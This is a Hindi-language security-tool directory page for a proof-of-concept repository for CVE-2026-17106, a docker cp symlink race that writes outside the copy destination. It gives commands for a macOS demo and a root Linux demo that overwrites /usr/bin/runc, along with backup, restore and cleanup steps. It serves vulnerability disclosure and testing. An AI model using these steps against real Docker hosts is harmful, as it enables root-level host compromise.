Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CopyEscape-CVE-2026-17106 — ब्लॉग पोस्ट CopyEscape: docker cp के साथ Docker होस्ट्स पर कब्ज़ा करना के लिए PoC रिपॉजिटरी | Kitploit
उपकरण/GitHubGitHub/masasron/copyescape-cve-2026-17106
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणरेड टीमिंगकंटेनर एस्केपप्रतिकूल हमला
GitHubmasasron/copyescape-cve-2026-17106

CopyEscape-CVE-2026-17106

ब्लॉग पोस्ट CopyEscape: docker cp के साथ Docker होस्ट्स पर कब्ज़ा करना के लिए PoC रिपॉजिटरी

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखेंवेबसाइट
2491 महीना पहलेअभी तक समीक्षित नहीं

CopyEscape: docker cp के साथ Docker होस्ट्स पर कब्ज़ा (CVE-2026-17106)

यह ब्लॉग पोस्ट CopyEscape: docker cp के साथ Docker होस्ट्स पर कब्ज़ा — CVE-2026-17106 के लिए proof-of-concept रिपॉज़िटरी है।

CopyEscape एक दुर्भावनापूर्ण चालू कंटेनर को Docker के आर्काइव प्रोड्यूसर को रेस करने और एक असंगत tar स्ट्रीम बनाने की अनुमति देता है। इसके बाद कमज़ोर Docker CLI निष्कर्षण के दौरान लगाए गए symlink का अनुसरण कर सकता है और docker cp चलाने वाले उपयोगकर्ता द्वारा चुने गए स्थानीय गंतव्य के बाहर लिख सकता है।

रिपॉज़िटरी में दो प्रदर्शन शामिल हैं:

  • macos/ में एक गैर-विनाशकारी Docker Desktop प्रदर्शन शामिल है जो macOS होस्ट पर ~/pwnd बनाता है।
  • linux/ में मूल उच्च-प्रभाव वाला Linux प्रदर्शन शामिल है जो /usr/bin/runc को अधिलेखित करता है और प्रतिस्थापित रनटाइम निष्पादित होने पर /imperva_red_team बनाता है।

[!WARNING] इन PoCs को केवल उन्हीं सिस्टम पर चलाएँ जिनके आप मालिक हैं या जिन्हें परीक्षण करने के लिए स्पष्ट रूप से अधिकृत किया गया है। Linux PoC जानबूझकर /usr/bin/runc को प्रतिस्थापित करता है; इसे ट्रिगर करने से पहले एक डिस्पोज़ेबल VM का उपयोग करें और सत्यापित बैकअप बनाएँ।

आवश्यकताएँ

  • एक कमज़ोर Docker Engine या Docker Desktop रिलीज़।
  • एक चालू Docker डेमन।
  • Docker CLI पहुँच वाला एक शेल।
  • Linux /usr/bin/runc प्रदर्शन के लिए रूट विशेषाधिकार।

PoCs को Docker Engine/CLI 29.6.1 और Docker Desktop 4.81.0 के विरुद्ध विकसित और परीक्षण किया गया था। सही किए गए (फिक्स्ड) संस्करण दुर्भावनापूर्ण आर्काइव को अस्वीकार कर देंगे या चयनित गंतव्य के बाहर लिखे बिना कॉपी पूरी कर देंगे।

macOS PoC: ~/pwnd बनाएँ

यह प्रदर्शन Docker CLI चलाने वाले उपयोगकर्ता की होम डायरेक्टरी को लक्षित करता है। यदि ~/pwnd या स्थानीय file.txt गंतव्य पहले से मौजूद है तो यह आगे बढ़ने से इनकार कर देता है।

चलाएँ:

root@kitploit:~
cd macos
./demo-macos.sh

रनर इमेज बनाता है, तैयार कंटेनर शुरू करता है, पुष्टि करता है कि /watched/file.txt उसके अंदर एक सामान्य फ़ाइल प्रतीत होता है, और यह ट्रिगर करता है:

root@kitploit:~
docker cp <demo-container>:/watched/file.txt ./file.txt

एक कमज़ोर Docker Desktop संस्करण पर, कॉपी यह बनाती है:

root@kitploit:~
~/pwnd

निम्नलिखित सामग्री के साथ:

root@kitploit:~
COPYESCAPE_MACOS_DEMO

सफ़ाई:

root@kitploit:~
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local

Linux PoC: /usr/bin/runc को अधिलेखित करें

[!CAUTION] यह प्रदर्शन अस्थायी रूप से Docker होस्ट के रनटाइम को अनुपयोगी बना देता है और रूट के रूप में हमलावर-नियंत्रित प्रतिस्थापन निष्पादित करता है। एक डिस्पोज़ेबल VM का उपयोग करें। docker cp लौटने के बाद, कोई अन्य Docker कमांड चलाने से पहले runc को पुनर्स्थापित करें।

एक रूट शेल खोलें और Linux PoC डायरेक्टरी में प्रवेश करें:

root@kitploit:~
sudo -s
cd linux

परीक्षण शुरू करने से पहले एक बैकअप बनाएँ और सत्यापित करें:

root@kitploit:~
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup

इमेज बनाएँ:

root@kitploit:~
docker build -t copyescape-linux .

पहले टर्मिनल में तैयार कंटेनर शुरू करें:

root@kitploit:~
docker run --name copyescape-linux copyescape-linux

दूसरे रूट टर्मिनल में, पुष्टि करें कि तैयार पथ कंटेनर के अंदर एक प्रक्रिया के लिए एक नियमित फ़ाइल जैसा दिखता है:

root@kitploit:~
docker exec copyescape-linux cat /watched/file.txt

अपेक्षित आउटपुट:

root@kitploit:~
top-level file

कमज़ोरी को ट्रिगर करें:

root@kitploit:~
docker cp copyescape-linux:/watched/file.txt ./file.txt

एक कमज़ोर Docker संस्करण पर, /usr/bin/runc में अब PoC शेल स्क्रिप्ट होती है। प्रतिस्थापित रनटाइम का निष्पादन रूट-स्वामित्व वाला मार्कर बनाता है:

root@kitploit:~
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team

कोई अन्य Docker कमांड जारी करने से पहले, तुरंत मूल रनटाइम को पुनर्स्थापित करें:

root@kitploit:~
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version

runc को पुनर्स्थापित और सत्यापित करने के बाद, शेष परीक्षण आर्टिफैक्ट्स हटाएँ:

root@kitploit:~
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team

प्रदर्शन कैसे काम करते हैं

दोनों PoCs /watched/file.txt को कंटेनर में चल रही प्रक्रियाओं के लिए एक सामान्य फ़ाइल के रूप में प्रस्तुत करते हैं, जबकि Docker डेमन एक अंतर्निहित डायरेक्टरी देखता है। Docker के फाइलसिस्टम वॉक के दौरान, मॉनिटर एक डायरेक्टरी को स्टेज किए गए पूर्ण symlink से प्रतिस्थापित करता है। परिणामी tar स्ट्रीम में symlink और उसके नीचे एक चाइल्ड एंट्री होती है। एक कमज़ोर Docker CLI symlink बनाता है और फिर चाइल्ड को उसके माध्यम से क्लाइंट फाइलसिस्टम पर निकालता है।

अंतिम लेखन docker cp चलाने वाली प्रक्रिया की अनुमतियाँ रखता है।

टूल डाउनलोड करें